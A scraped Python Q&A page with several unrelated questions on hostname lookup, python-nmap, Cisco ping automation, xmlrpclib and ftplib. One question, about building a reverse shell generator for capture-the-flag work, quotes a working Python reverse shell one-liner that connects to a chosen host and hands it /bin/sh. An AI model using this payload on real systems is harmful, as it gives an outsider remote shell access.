python - print output - python

I have created this below script and it works fine. But the output is not friendly (see below). I want the first line to display only the hostname and IP and remove (,'[], please suggest
('testhostname', [], ['10.10.10.10'])
cannot resolve hostname: 10.10.10.11
import socket
pfile = open ('C:\\Python27\\scripts\\test.txt')
while True:
IP = pfile.readline()
if not IP:
break
try:
host = socket.gethostbyaddr(IP.rstrip())
print host
except socket.herror, err:
print "cannot resolve hostname: ", IP
pfile.close()

Rather than printing all of the host tuple that is returned by gethostbyaddr, I suggest unpacking into separate variables that you can then print as you see fit:
hostname, alias_list, ip_addr_list = gethostbyaddr(IP.rstrip())
print hostname, ip_addr_list # or ip_addr_list[0] if you only want the one IP
If you want more control over the formatting, I suggest using the str.format method:
print "hostname: {}, IP(s): {}".format(hostname, ", ".join(ip_addr_list))
Also, a few other code suggestions (not directly related to your main question):
Use a with statement rather than manually opening and closing your file.
Iterate on the file object directly (with for IP in pfile:), rather than using while True: and calling pfile.readline() each time through.
Use the syntax except socek.herror as err rather than the older form with commas (which is deprecated in Python 2 and no longer exists in Python 3).

Related

Removing multiple strings in a file replace() not working

I am at the moment experiencing some issues with my code. I am creating a reverse shell generator that automates with pentests for Capture flag competitions.
The script will read a file containing payloads, further the script will choose a specific line to be fetched and then replace the back connect ip address and port and output the payload to the user.
However i am stuck on some issues. The issue is that i am trying to replace two different strings upon reading a file containing my text, one of the strings gets replaced, while the other do not:
Strings to be replaced
[ip]
[port]
I have as well reviewed previous article using regex, but did not get further luck. Recieving error on the regex part that is commented out in my code: "unexpected token"
My code:
import socket
import base64
import hashlib
import re
import os # Fetching ip from interface
import linecache # for reading specific lines
ip = str(input("Host ip\n"))
port = str(input("port\n"))
#shell = str(input("Please select an option?\n"))
def full():
print("Welcome, lets generate a choosen reverse shell\n")
global ip
global port
print("please select language and shell option:\n [1] - python(Alphanumeric reverse shell)\n, [2] PHP(Alphanumeric reverse shell)\n")
selection = input("Type in number:\t")
if int(selection) == 1:
with open("myshells.txt", "r") as shells:
#for myreplace in (("[ip]", ip), ("[port]", port)):
fetchshell = linecache.getline('myshells.txt', 1)
ipreplaced = fetchshell.replace("[ip]", ip)
ipreplaced = fetchshell.replace("[port]", port)
print(ipreplaced)
"""for line in fetchshell:
myport = line.write(re.sub(r"(port)", port))
myip = line.write((re.sub(r"(ip)", ip))
print(line)"""
File contents:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Sample output from above code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],22));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

How to provide inputfilefile(-iL) option in python nmap?

In nmap command line, we can provide list of hosts in file and the file can be provided as an input using -iL parameter. I am not sure how to replicate the same function using python nmap. Python nmap documentation is not covering all examples. So requiring help in it.
You can use the -iL option as given below. It worked for me.
nm.scan(arguments='-iL /tmp/hosts.txt')
Full program given below
import sys
import os
import nmap # import nmap.py module
try:
nm = nmap.PortScanner() # instantiate nmap.PortScanner object
except nmap.PortScannerError:
print('Nmap not found', sys.exc_info()[0])
sys.exit(1)
except:
print("Unexpected error:", sys.exc_info()[0])
sys.exit(1)
nm.scan(arguments='-iL /tmp/hosts.txt')
for host in nm.all_hosts():
print('----------------------------------------------------')
print('Host : %s (%s)' % (host, nm[host].hostname()))
print('State : {0}'.format(nm[host].state()))
# print result as CSV
print(nm.csv())
I don't think that python-nmap supports target lists out of the box. You will probably need to use python to open and parse the list yourself, and then execute the scans in a loop. I will probably look something like this:
import nmap
nm = nmap.PortScanner()
port_range='22'
with open('./path/to/list', 'r') as targets:
for target in targets:
nm.scan(target, port_range)
# Do something with results

Extended ping on Cisco Device

I'm newbie in Python. I try make a script to perform automatic "extended ping".
The manual cisco flow is:
switch#**ping**
Protocol [ip]:
Target IP address: **X.X.X.X**
Repeat count [5]: **1000**
Datagram size [100]: **1500**
Timeout in seconds [2]:
Extended commands [n]:
Sweep range of sizes [n]:
####################Command Start####################
I try to use the command: "net_connect.send_command" from Netmiko and doesn't work.
Ping_Extended = [ 'ping','\n','X.X.X.X','1000','1500','\n','\n','\n' ]
Ping_TASA = net_connect.send_command(Ping_Extended)
Error: Traceback (most recent call last):
File "VLAN1.py", line 124, in <module>
Ping_Extended = Ping_Extended.rstrip()
AttributeError: 'list' object has no attribute 'rstrip'
can Someone help me?. if another method exist please shared me.
Thanks a lot!
I haven't used that library, so I'm not sure how it works, I'm using paramiko or telnetlib, depending on the available service on the device.
My ping command on Cisco looks something like this:
def ping(dest, count=5, size=None, interval=None, timeout=None, source=None):
# ignore the "interval" it's there in order to have the same signature
# on all devices, Cisco doesn't accept interval parameter
cmd = "ping %s repeat %s" % (dest, count)
for x in [("size", size), ("timeout", timeout), ("source", source)]:
if x[1]:
cmd += " %s %s" % x
cmd += " validate"
# the "validate" seemed to be required in order to get extra statistics
# run the command, get the output, parse it
For example by calling ping("8.8.8.8", 3, 128, 1, 2, "86.68.86.68") will end up running ping 8.8.8.8 repeat 3 size 128 timeout 2 source 86.68.86.68 validate on the device.
Side note: instead of calling ping with no arguments and wait for the prompts, try adding "?" at end of the line (ping ?) in order to discover the available options, pretty much as the bash-completion works with Tab. I mean, from what I've seen on the devices I've worked with, you don't have to follow the flow, you should be able to execute the ping with one single command invocation.
I've taken look at the library you are using, I've noticed that the send_command accepts an argument expect_string you could use it to detect the new/different prompt, I think that your code should be something like this:
cmds = ['ping', 'ip', 'X.X.X.X','1000','1500','2','n','n' ]
for cmd in cmd[:-1] :
net_connect.send_command(cmd, expect_string='\] ?: ?')
output = net_connect.send_command(cmds[-1])
I've added all the defaults to the list of commands to send. If you don't want to send them, replace them with "" (empty strings).
I solved the issue and I share with you.
output = [net_connect.send_command("ping", expect_string='#?'),
net_connect.send_command("ip", expect_string=':?'),
net_connect.send_command("192.168.1.254", expect_string=':?'),
net_connect.send_command("1000", expect_string=':?'),
net_connect.send_command("1500", expect_string=':?'),
net_connect.send_command("2", expect_string=':?'),
net_connect.send_command("n", expect_string=':?'),
net_connect.send_command("n", expect_string=':?', delay_factor=140)]
print output[-1]
Best regards

Call the Python interactive interpreter from within a Python script

Is there any way to start up the Python interpreter from within a script , in a manner similar to just using python -i so that the objects/namespace, etc. from the current script are retained? The reason for not using python -i is that the script initializes a connection to an XML-RPC server, and I need to be able to stop the entire program if there's an error. I can't loop until there's valid input because apparently, I can't do something like this:
#!/usr/bin/python -i
# -*- coding: utf-8 -*-
import xmlrpclib
# Create an object to represent our server.
server_url = str(raw_input("Server: "))
while not server = xmlrpclib.Server(server_url):
print 'Unable to connect to server. Please try again'
else:
print 'Xmlrpclib.Server object `__main__.server\' of URL `', server_url, "' created"
break
# Python interpreter starts...
because:
% chmod u+x ./rpcclient.py
% ./rpclient.py
Traceback (most recent call last):
File "./rpcclient.py", line 8
while not server = xmlrpclib.Server(server_url):
^
SyntaxError: invalid syntax
>>>
Unfortunately, python -i starts the interpreter just after it prints out the traceback, so I somehow have to call the interactive interpreter - replacing the execution of the script so it retains the server connection - from within the script
Have you tried reading the error message? :)
= is assignment, you want the comparison operator == instead.
Well, I finally got it to work.
Basically, I put the entire try/except/else clause in a while True: loop, with the else suite being a break statement and the end of the except suite being a continue statement. The result is that it now continually loops if the user puts in an address that doesn't have a fully compliant XML-RPC2 server listening. Here's how it turned out:
#!/usr/bin/python -i
# -*- coding: utf-8 -*-
import xmlrpclib, socket
from sys import exit
# Create an object to represent our server.
#server = xmlrpclib.Server(server_url) and print 'Xmlrpclib.Server object `__main__.server\' of URL `', server_url, "' created"
server_url = str(raw_input("Server: "))
server = xmlrpclib.ServerProxy(server_url)
while True:
try:
server.system.listMethods()
except xmlrpclib.ProtocolError, socket.error:
print 'Unable to connect to server. Please try again'
server_url = str(raw_input("Server: "))
server = xmlrpclib.ServerProxy(server_url)
continue
except EOFError:
exit(1)
else:
break
print 'Xmlrpclib.Server object `__main__.server\' of URL `', server_url, "' created"
# Python interpreter starts...
Thank you very much!
...and I have to wait another day to accept this...

Advanced Python FTP - can I control how ftplib talks to a server?

I need to send a very specific (non-standard) string to an FTP server:
dir "SYS:\IC.ICAMA."
The case is critical, as are the style of quotes and their content.
Unfortunately, ftplib.dir() seems to use the 'LIST' command rather than 'dir' (and it uses the wrong case for this application).
The FTP server is actually a telephone switch and it's a very non-standard implementation.
I tried using ftplib.sendcmd(), but it also sends 'pasv' as part of the command sequence.
Is there an easy way of issuing specific commands to an FTP server?
Try the following. It is a modification of the original FTP.dir command which uses "dir" instead of "LIST". It gives a "DIR not understood" error with the ftp server I tested it on, but it does send the command you're after. (You will want to remove the print command I used to check that.)
import ftplib
class FTP(ftplib.FTP):
def shim_dir(self, *args):
'''List a directory in long form.
By default list current directory to stdout.
Optional last argument is callback function; all
non-empty arguments before it are concatenated to the
LIST command. (This *should* only be used for a pathname.)'''
cmd = 'dir'
func = None
if args[-1:] and type(args[-1]) != type(''):
args, func = args[:-1], args[-1]
for arg in args:
if arg:
cmd = cmd + (' ' + arg)
print cmd
self.retrlines(cmd, func)
if __name__ == '__main__':
f = FTP('ftp.ncbi.nih.gov')
f.login()
f.shim_dir('"blast"')

Categories

Resources